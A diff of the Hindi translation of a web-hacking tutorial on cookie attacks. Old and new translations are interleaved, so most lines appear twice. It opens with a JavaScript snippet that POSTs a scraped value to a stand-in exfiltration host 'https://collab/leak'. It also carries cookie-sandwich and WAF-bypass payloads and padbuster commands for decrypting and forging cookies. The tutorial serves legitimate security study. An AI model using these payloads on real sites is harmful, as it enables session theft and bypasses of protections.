fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Secure
|
||||
|
||||
अनुरोध केवल तभी कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रसारित किया गया हो।
|
||||
अनुरोध केवल तभी HTTP अनुरोध में cookie भेजेगा जब अनुरोध एक सुरक्षित चैनल (आम तौर पर **HTTPS**) के माध्यम से प्रेषित किया गया हो।
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
`__Secure-` से प्रारंभ होने वाली कुकीज़ को HTTPS द्वारा सुरक्षित पृष्ठों के साथ `secure` ध्वज के साथ सेट किया जाना आवश्यक है।
|
||||
`__Secure-` से prefixed cookies को HTTPS द्वारा सुरक्षित पृष्ठों से ही सेट करते समय `secure` flag के साथ सेट करना आवश्यक होता है।
|
||||
|
||||
`__Host-` से प्रारंभ होने वाली कुकीज़ के लिए, कई शर्तें पूरी की जानी चाहिए:
|
||||
`__Host-` से prefixed cookies के लिए कई शर्तें पूरी करनी होती हैं:
|
||||
|
||||
- इन्हें `secure` ध्वज के साथ सेट किया जाना चाहिए।
|
||||
- इन्हें HTTPS द्वारा सुरक्षित पृष्ठ से उत्पन्न होना चाहिए।
|
||||
- इन्हें एक डोमेन निर्दिष्ट करने से मना किया गया है, जिससे इन्हें उपडोमेन में भेजने से रोका जा सके।
|
||||
- इन कुकीज़ के लिए पथ को `/` पर सेट किया जाना चाहिए।
|
||||
- इन्हें `secure` flag के साथ सेट किया जाना चाहिए।
|
||||
- इन्हें एक HTTPS से सुरक्षित पृष्ठ से उत्पन्न होना चाहिए।
|
||||
- इनमें domain निर्दिष्ट करना वर्जित है, ताकि इन्हें subdomains पर ट्रांसमिट होने से रोका जा सके।
|
||||
- इन cookies के लिए path `/` होना चाहिए।
|
||||
|
||||
यह ध्यान रखना महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
यह ध्यान रखने योग्य है कि `__Host-` से prefixed cookies को superdomains या subdomains पर भेजना अनुमति नहीं है। यह प्रतिबंध application cookies को अलग करने में मदद करता है। इसलिए, सभी application cookies के लिए `__Host-` prefix का उपयोग करना सुरक्षा और isolation बढ़ाने के लिए एक अच्छी प्रैक्टिस माना जा सकता है।
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
तो, `__Host-` उपसर्ग वाली कुकीज़ की एक सुरक्षा यह है कि उन्हें उपडोमेन से ओवरराइट होने से रोका जा सके। उदाहरण के लिए [**Cookie Tossing attacks**](cookie-tossing.md) को रोकना। वार्ता [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) में प्रस्तुत किया गया है कि उपडोमेन से \_\_HOST- उपसर्ग वाली कुकीज़ सेट करना संभव था, पार्सर को धोखा देकर, उदाहरण के लिए, शुरुआत या अंत में "=" जोड़कर...:
|
||||
तो, `__Host-` prefixed cookies की एक सुरक्षा विशेषता यह है कि इन्हें subdomains से overwrite होने से रोका जाता है। उदाहरण के लिए [**Cookie Tossing attacks**](cookie-tossing.md) को रोकना। टॉक [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) में यह दिखाया गया कि parser को धोखा देकर subdomain से \_\_HOST- prefixed cookies सेट करना संभव था, उदाहरण के लिए "=" को शुरुआत में या शुरुआत और अंत में जोड़कर...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जिन्हें **अंडरस्कोर** वर्णों द्वारा **बदल दिया जाएगा**, जिससे `__HOST-` कुकीज़ को ओवरराइट किया जा सके:
|
||||
या PHP में cookie नाम की शुरुआत में अन्य characters जोड़ना संभव था जो underscore characters से बदल दिए जाते थे, जिससे `__HOST-` cookies को overwrite करने की अनुमति मिल जाती थी:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
यदि एक कस्टम कुकी में संवेदनशील डेटा है तो इसे जांचें (विशेष रूप से यदि आप एक CTF खेल रहे हैं), क्योंकि यह कमजोर हो सकता है।
|
||||
यदि कोई custom cookie में sensitive डेटा है तो उसे जाँचें (खासकर यदि आप CTF खेल रहे हैं), क्योंकि यह vulnerable हो सकता है।
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को कुकी में वापस एन्कोड करके।
|
||||
Cookies में embedded sensitive डेटा को हमेशा जांचना चाहिए। Base64 या समान format में encoded cookies को अक्सर decode किया जा सकता है। यह कमजोरी attackers को cookie की सामग्री बदलने और अपने संशोधित डेटा को फिर से encode करके cookie में डाल कर दूसरे users की impersonation करने की अनुमति देती है।
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
यह हमला एक उपयोगकर्ता की कुकी चुराने से संबंधित है ताकि किसी एप्लिकेशन के भीतर उनके खाते तक अनधिकृत पहुँच प्राप्त की जा सके। चुराई गई कुकी का उपयोग करके, एक हमलावर वैध उपयोगकर्ता का अनुकरण कर सकता है।
|
||||
यह हमला किसी user की cookie चुरा कर application में उनके खाते तक unauthorized access प्राप्त करने से संबंधित है। चोरी की गई cookie का उपयोग करके attacker वैध user का impersonate कर सकता है।
|
||||
|
||||
### Session Fixation
|
||||
|
||||
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है।
|
||||
इस परिदृश्य में attacker किसी victim को किसी विशेष cookie का उपयोग करके login करने के लिए भड़काता है। यदि application login पर नया cookie नहीं देता, तो attacker के पास जो मूल cookie है उससे वह victim का impersonate कर सकता है। यह तकनीक इस बात पर निर्भर करती है कि victim attacker द्वारा प्रदान की गई cookie के साथ login करे।
|
||||
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें:
|
||||
यदि आपने किसी subdomain में **XSS** पाया है या आप किसी subdomain को control करते हैं, पढ़ें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -123,9 +130,9 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
यहाँ, हमलावर पीड़ित को हमलावर की सत्र कुकी का उपयोग करने के लिए मनाता है। पीड़ित, यह मानते हुए कि वे अपने खाते में लॉग इन हैं, अनजाने में हमलावर के खाते के संदर्भ में क्रियाएँ करेगा।
|
||||
यहाँ attacker victim को आश्वस्त करता है कि वे attacker के session cookie का उपयोग कर रहे हैं। victim, यह सोचकर कि वे अपने ही खाते में logged-in हैं, अनजाने में attacker के खाते के context में actions करेंगे।
|
||||
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें:
|
||||
यदि आपने किसी subdomain में **XSS** पाया है या आप किसी subdomain को control करते हैं, पढ़ें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -134,23 +141,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
संभावित दोषों के बारे में जानकारी के लिए पिछले लिंक पर क्लिक करें।
|
||||
पहले दिए गए लिंक पर क्लिक करके JWT में संभावित कमियों को समझाने वाला पेज देखें।
|
||||
|
||||
कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें शोषित करने के तरीकों के बारे में गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है।
|
||||
JSON Web Tokens (JWT) जो cookies में उपयोग होते हैं वे भी vulnerabilities पेश कर सकते हैं। संभावित flaws और उन्हें exploit करने के तरीकों की विस्तृत जानकारी के लिए hacking JWT पर लिंक किए गए दस्तावेज़ को पढ़ना अनुशंसित है।
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो कमजोर साइट पर हर अनुरोध के साथ स्वचालित रूप से भेजी जाती हैं।
|
||||
यह हमला किसी logged-in user को उस web application पर अनचाहे actions execute करने के लिए मजबूर करता है जिसमें वे वर्तमान में authenticated हैं। attackers उन cookies का फायदा उठा सकते हैं जो vulnerable साइट के लिए हर request के साथ automatically भेजी जाती हैं।
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़र बिना नाम वाली कुकीज़ बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers बिना नाम की cookie बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से निम्नलिखित तरीके से दिखाया जा सकता है:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
भेजे गए कुकी हेडर में परिणाम है `a=v1; test value; b=v2;`। दिलचस्प बात यह है कि यदि एक खाली नाम की कुकी सेट की जाती है, तो यह कुकीज़ में हेरफेर की अनुमति देती है, संभावित रूप से अन्य कुकीज़ को एक विशिष्ट मान सेट करके नियंत्रित करने की अनुमति देती है:
|
||||
भेजे गए cookie header में परिणाम `a=v1; test value; b=v2;` है। यह रोचक है कि अगर एक खाली नाम वाला cookie सेट किया जाए तो यह cookies में हेरफेर की अनुमति देता है, और खाली cookie को किसी विशिष्ट मान पर सेट करके अन्य cookies को नियंत्रित किया जा सकता है:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -158,49 +165,49 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
यह ब्राउज़र को एक कुकी हेडर भेजने की ओर ले जाता है जिसे हर वेब सर्वर द्वारा `a` नामक कुकी के रूप में व्याख्यायित किया जाता है जिसका मान `b` है।
|
||||
This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`.
|
||||
|
||||
#### Chrome बग: यूनिकोड सरोगेट कोडपॉइंट समस्या
|
||||
#### Chrome बग: Unicode Surrogate Codepoint समस्या
|
||||
|
||||
Chrome में, यदि एक यूनिकोड सरोगेट कोडपॉइंट सेट कुकी का हिस्सा है, तो `document.cookie` भ्रष्ट हो जाता है, जिसके परिणामस्वरूप एक खाली स्ट्रिंग लौटती है:
|
||||
Chrome में, अगर कोई Unicode surrogate codepoint किसी set cookie का हिस्सा होता है, तो `document.cookie` भ्रष्ट हो जाता है, और बाद में एक खाली string लौटाता है:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
यह `document.cookie` को एक खाली स्ट्रिंग आउटपुट करने का परिणाम है, जो स्थायी भ्रष्टाचार को इंगित करता है।
|
||||
इसका परिणाम यह होता है कि `document.cookie` एक खाली string आउटपुट करता है, जो स्थायी corruption को दर्शाता है।
|
||||
|
||||
#### पार्सिंग समस्याओं के कारण कुकी स्मगलिंग
|
||||
#### Cookie Smuggling — Parsing Issues के कारण
|
||||
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) कई वेब सर्वर, जिनमें Java (Jetty, TomCat, Undertow) और Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) शामिल हैं, पुराने RFC2965 समर्थन के कारण कुकी स्ट्रिंग्स को गलत तरीके से संभालते हैं। वे एक डबल-क्वोटेड कुकी मान को एकल मान के रूप में पढ़ते हैं, भले ही इसमें सेमीकोलन शामिल हों, जो सामान्यतः कुंजी-मूल्य जोड़ों को अलग करना चाहिए:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) कुछ वेब सर्वर, जिनमें Java (Jetty, TomCat, Undertow) और Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) के सर्वर शामिल हैं, पुराने RFC2965 सपोर्ट के कारण cookie strings को गलत तरीके से हैंडल करते हैं। वे डबल-कोटेड cookie value को एक single value के रूप में पढ़ते हैं, भले ही उसमें semicolons हों, जो सामान्यतः key-value pairs को अलग करने चाहिए:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### कुकी इंजेक्शन कमजोरियाँ
|
||||
#### Cookie Injection कमजोरियाँ
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) सर्वरों द्वारा cookies की गलत parsing, विशेष रूप से Undertow, Zope, और उन सर्वरों में जो Python's `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, cookie injection हमलों के अवसर पैदा करती है। ये सर्वर नए cookies की शुरुआत को सही ढंग से अलग नहीं कर पाते, जिससे attackers spoofed cookies जमा कर सकते हैं:
|
||||
|
||||
- Undertow एक उद्धृत मान के तुरंत बाद एक नई कुकी की अपेक्षा करता है बिना सेमीकोलन के।
|
||||
- Zope अगली कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
|
||||
- Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं।
|
||||
- Undertow एक quoted value के तुरंत बाद नए cookie की उम्मीद करता है बिना semicolon के।
|
||||
- Zope अगला cookie parse करने के लिए comma ढूँढता है।
|
||||
- Python's cookie classes parsing को एक space character पर शुरू करते हैं।
|
||||
|
||||
यह कमजोरियाँ विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक हैं जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जो सुरक्षा उपायों को बायपास कर सकती है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह `__Secure-` और `__Host-` कुकीज़ के लिए असुरक्षित संदर्भों में चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकती है।
|
||||
यह vulnerability उन web applications के लिए खासकर खतरनाक है जो cookie-based CSRF protection पर निर्भर करते हैं, क्योंकि यह attackers को spoofed CSRF-token cookies inject करने की अनुमति देती है, जिससे security measures bypass हो सकते हैं। यह समस्या Python के duplicate cookie names को हैंडल करने के तरीके से और बढ़ जाती है, जहाँ last occurrence पहले वाले को override कर देता है। यह असुरक्षित contexts में `__Secure-` और `__Host-` cookies के लिए भी चिंताएँ उठाती है और ऐसे back-end servers को cookies पास होने पर authorization bypass का कारण बन सकती है जो spoofing के प्रति संवेदनशील हैं।
|
||||
|
||||
### कुकीज़ $version
|
||||
### Cookies $version
|
||||
|
||||
#### WAF बायपास
|
||||
#### WAF Bypass
|
||||
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), यह संभव हो सकता है कि कुकी विशेषता **`$Version=1`** का उपयोग करके बैकएंड को कुकी पार्स करने के लिए पुरानी लॉजिक का उपयोग करने के लिए मजबूर किया जा सके, **RFC2109** के कारण। इसके अलावा, अन्य मान जैसे **`$Domain`** और **`$Path`** का उपयोग बैकएंड के व्यवहार को कुकी के साथ संशोधित करने के लिए किया जा सकता है।
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), यह संभव हो सकता है कि cookie attribute **`$Version=1`** का उपयोग करके backend को cookie को parse करने के लिए पुरानी logic इस्तेमाल करने पर मजबूर किया जा सके, जिसका कारण **RFC2109** है। इसके अलावा, अन्य values जैसे **`$Domain`** और **`$Path`** का उपयोग backend के व्यवहार को cookie के साथ modify करने के लिए किया जा सकता है।
|
||||
|
||||
#### कुकी सैंडविच हमला
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) यह संभव है कि कुकी सैंडविच तकनीक का उपयोग करके HttpOnly कुकीज़ चुराई जा सकें। ये आवश्यकताएँ और कदम हैं:
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) cookie sandwich technique का उपयोग करके HttpOnly cookies चोरी करना संभव हो सकता है। ये आवश्यकताएँ और चरण हैं:
|
||||
|
||||
- एक ऐसा स्थान खोजें जहाँ एक स्पष्ट रूप से बेकार **कुकी प्रतिक्रिया में परिलक्षित होती है**
|
||||
- **एक कुकी बनाएं जिसका नाम `$Version`** हो और जिसका मान `1` हो (आप इसे JS से XSS हमले में कर सकते हैं) एक अधिक विशिष्ट पथ के साथ ताकि यह प्रारंभिक स्थिति प्राप्त कर सके (कुछ फ्रेमवर्क जैसे Python को इस कदम की आवश्यकता नहीं होती)
|
||||
- **उस कुकी को बनाएं जो परिलक्षित होती है** जिसका मान **खुले डबल कोट्स** के साथ हो और एक विशिष्ट पथ के साथ ताकि यह पिछले वाले (`$Version`) के बाद कुकी डेटाबेस में स्थित हो
|
||||
- फिर, वैध कुकी क्रम में अगली होगी
|
||||
- **एक डमी कुकी बनाएं जो डबल कोट्स** को अपने मान के अंदर बंद करती है
|
||||
- ऐसा स्थान ढूँढ़ें जहाँ एक स्पष्ट रूप से बेकार **cookie response में प्रतिबिंबित** हो।
|
||||
- **`$Version` नाम का एक cookie बनाएं** जिसकी value `1` हो (आप यह XSS attack से JS द्वारा कर सकते हैं) और इसे एक अधिक specific path दें ताकि यह initial position प्राप्त कर सके (कुछ frameworks जैसे python को यह कदम आवश्यक नहीं होता)।
|
||||
- **वह cookie बनाएं जो प्रतिबिंबित होती है** और जिसकी value एक **open double quotes** छोड़ती हो और एक specific path हो ताकि यह cookie db में पिछले वाले (`$Version`) के बाद स्थित हो।
|
||||
- फिर, वैध cookie order में अगली जगह पर चले जाएगी।
|
||||
- **एक dummy cookie बनाएं जो अपने value के अंदर double quotes को बंद कर दे।**
|
||||
|
||||
इस तरह, पीड़ित कुकी नए कुकी संस्करण 1 के अंदर फंस जाती है और जब भी यह परिलक्षित होती है, यह परिलक्षित हो जाएगी।
|
||||
इस तरह victim cookie नए cookie version 1 के अंदर फंस जाती है और जब भी वह प्रतिबिंबित होगी तो वह reflect हो जाएगी।
|
||||
e.g. from the post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
@ -208,60 +215,60 @@ document.cookie = `param1="start`;
|
||||
// any cookies inside the sandwich will be placed into param1 value server-side
|
||||
document.cookie = `param2=end";`;
|
||||
```
|
||||
### WAF बायपास
|
||||
### WAF bypasses
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
पिछले अनुभाग की जांच करें।
|
||||
पिछले अनुभाग को देखें।
|
||||
|
||||
#### उद्धृत-स्ट्रींग एन्कोडिंग के साथ मान विश्लेषण को बायपास करना
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
यह पार्सिंग कुकीज़ के अंदर एस्केप किए गए मानों को अनएस्केप करने का संकेत देती है, इसलिए "\a" "a" बन जाता है। यह WAFS को बायपास करने के लिए उपयोगी हो सकता है जैसे:
|
||||
यह parsing cookies के भीतर escaped मानों को unescape करने का संकेत देता है, इसलिए "\a" "a" बन जाता है। यह WAFS को bypass करने के लिए उपयोगी हो सकता है, जैसे:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
|
||||
|
||||
#### कुकी-नाम ब्लॉकलिस्ट को बायपास करना
|
||||
#### Bypassing cookie-name blocklists
|
||||
|
||||
RFC2109 में यह संकेत दिया गया है कि **कुकी मानों के बीच एक विभाजक के रूप में एक अल्पविराम का उपयोग किया जा सकता है**। और यह भी संभव है कि **बराबर के चिन्ह के पहले और बाद में स्पेस और टैब जोड़े जाएं**। इसलिए एक कुकी जैसे `$Version=1; foo=bar, abc = qux` कुकी `"foo":"bar, admin = qux"` उत्पन्न नहीं करती है बल्कि कुकीज़ `foo":"bar"` और `"admin":"qux"` उत्पन्न करती है। ध्यान दें कि 2 कुकीज़ उत्पन्न होती हैं और कैसे admin के बराबर के चिन्ह के पहले और बाद में स्पेस हटा दिया गया है।
|
||||
RFC2109 में यह बताया गया है कि **comma को cookie values के बीच separator के रूप में उपयोग किया जा सकता है**। और यह भी संभव है कि **equal sign के पहले और बाद में spaces और tabs जोड़े जा सकें**। इसलिए `$Version=1; foo=bar, abc = qux` जैसा cookie `"foo":"bar, admin = qux"` cookie को जेनरेट नहीं करता बल्कि cookies `foo":"bar"` और `"admin":"qux"` को जेनरेट करता है। ध्यान दें कि कैसे 2 cookies बनते हैं और कैसे admin के पहले और बाद के space हट गए।
|
||||
|
||||
#### कुकी विभाजन के साथ मान विश्लेषण को बायपास करना
|
||||
#### Bypassing value analysis with cookie splitting
|
||||
|
||||
अंत में, विभिन्न बैकडोर विभिन्न कुकी हेडर में पास की गई विभिन्न कुकीज़ को एक स्ट्रिंग में जोड़ेंगे जैसे:
|
||||
अंत में, विभिन्न backdoors अलग-अलग cookie headers में पास किए गए अलग-अलग cookies को एक string में जोड़ देते हैं, जैसे:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Cookie: param1=value1;
|
||||
Cookie: param2=value2;
|
||||
```
|
||||
जो एक WAF को बायपास करने की अनुमति दे सकता है जैसे कि इस उदाहरण में:
|
||||
जो इस उदाहरण की तरह WAF को बायपास करने की अनुमति दे सकता है:
|
||||
```
|
||||
Cookie: name=eval('test//
|
||||
Cookie: comment')
|
||||
|
||||
Resulting cookie: name=eval('test//, comment') => allowed
|
||||
```
|
||||
### अतिरिक्त संवेदनशील कुकीज जांच
|
||||
### अतिरिक्त कमजोर Cookies जाँचें
|
||||
|
||||
#### **बुनियादी जांच**
|
||||
#### **बुनियादी जाँचें**
|
||||
|
||||
- **कुकी** हर बार जब आप **लॉगिन** करते हैं, तो **एक जैसी** होती है।
|
||||
- लॉग आउट करें और उसी कुकी का उपयोग करने की कोशिश करें।
|
||||
- एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉग इन करने की कोशिश करें।
|
||||
- जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने की कोशिश करें।
|
||||
- लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने की कोशिश करें और देखें कि क्या आप समानताएँ देख सकते हैं।
|
||||
- यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और संवेदनशील हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के।
|
||||
- जांचें कि क्या पिछली कुकी काम करती है, भले ही आप पासवर्ड बदल दें।
|
||||
- **cookie** हर बार **login** करने पर **समान** रहती है।
|
||||
- Log out और उसी cookie का उपयोग करने की कोशिश करें।
|
||||
- वही cookie इस्तेमाल करके एक ही account में 2 devices (या browsers) से log in करने की कोशिश करें।
|
||||
- जाँचें कि cookie में कोई जानकारी है और उसे बदलने की कोशिश करें।
|
||||
- लगभग एक जैसे username वाले कई accounts बनाकर देखें और देखें क्या आप समानताएँ देख सकते हैं।
|
||||
- यदि मौजूद हो तो "**remember me**" विकल्प जाँचें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो अन्य किसी cookie के बिना हमेशा **remember me** की cookie का ही उपयोग करें।
|
||||
- जाँचें कि पिछली cookie पासवर्ड बदलने के बाद भी काम करती है या नहीं।
|
||||
|
||||
#### **उन्नत कुकीज हमले**
|
||||
#### **उन्नत cookies हमले**
|
||||
|
||||
यदि लॉग इन करते समय कुकी वही रहती है (या लगभग वही), तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
|
||||
यदि cookie login करने पर वही रहती है (या लगभग वही), तो इसका मतलब है कि cookie आपके account के किसी फील्ड (संभवतः username) से जुड़ी है। तब आप:
|
||||
|
||||
- बहुत सारे **खाते** बनाने की कोशिश करें जिनके उपयोगकर्ता नाम बहुत **समान** हैं और यह अनुमान लगाने की कोशिश करें कि एल्गोरिदम कैसे काम कर रहा है।
|
||||
- **उपयोगकर्ता नाम को ब्रूटफोर्स** करने की कोशिश करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप "**Bmin**" नाम के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आजमाएंगे उनमें से एक "**admin**" की होगी।
|
||||
- **Padding** **Oracle** की कोशिश करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **padbuster** का उपयोग करें।
|
||||
- बहुत सारे **accounts** बनाकर जिनके usernames बहुत **समान** हों और कोशिश करें **अनुमान** लगाएँ कि algorithm कैसे काम कर रहा है।
|
||||
- Try to **bruteforce the username**. अगर cookie केवल आपके username के authentication method के रूप में सेव होती है, तो आप username "**Bmin**" के साथ एक account बना सकते हैं और अपनी cookie के हर एक **bit** को **bruteforce** कर सकते हैं क्योंकि जिन cookie को आप ट्राई करेंगे उनमें से एक वह होगी जो "**admin**" की है।
|
||||
- Try **Padding** **Oracle** (आप cookie की सामग्री डिक्रिप्ट कर सकते हैं)। Use **padbuster**.
|
||||
|
||||
**Padding Oracle - Padbuster उदाहरण**
|
||||
**Padding Oracle - Padbuster examples**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -271,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster कई प्रयास करेगा और आपसे पूछेगा कि कौन सी स्थिति त्रुटि स्थिति है (जो मान्य नहीं है)।
|
||||
Padbuster कई प्रयास करेगा और आपसे पूछेगा कि कौन-सी स्थिति त्रुटि की स्थिति है (वही जो मान्य नहीं है)।
|
||||
|
||||
फिर यह कुकी को डिक्रिप्ट करना शुरू करेगा (इसमें कई मिनट लग सकते हैं)
|
||||
फिर यह cookie को decrypting करना शुरू कर देगा (यह कुछ मिनट ले सकता है)
|
||||
|
||||
यदि हमला सफलतापूर्वक किया गया है, तो आप अपनी पसंद की एक स्ट्रिंग को एन्क्रिप्ट करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि आप **encrypt** **user=administrator** करना चाहते हैं।
|
||||
यदि attack सफलतापूर्वक किया गया है, तो आप अपनी पसंद की string को encrypt करने का प्रयास कर सकते हैं। उदाहरण के लिए, यदि आप **encrypt** **user=administrator** करना चाहें
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
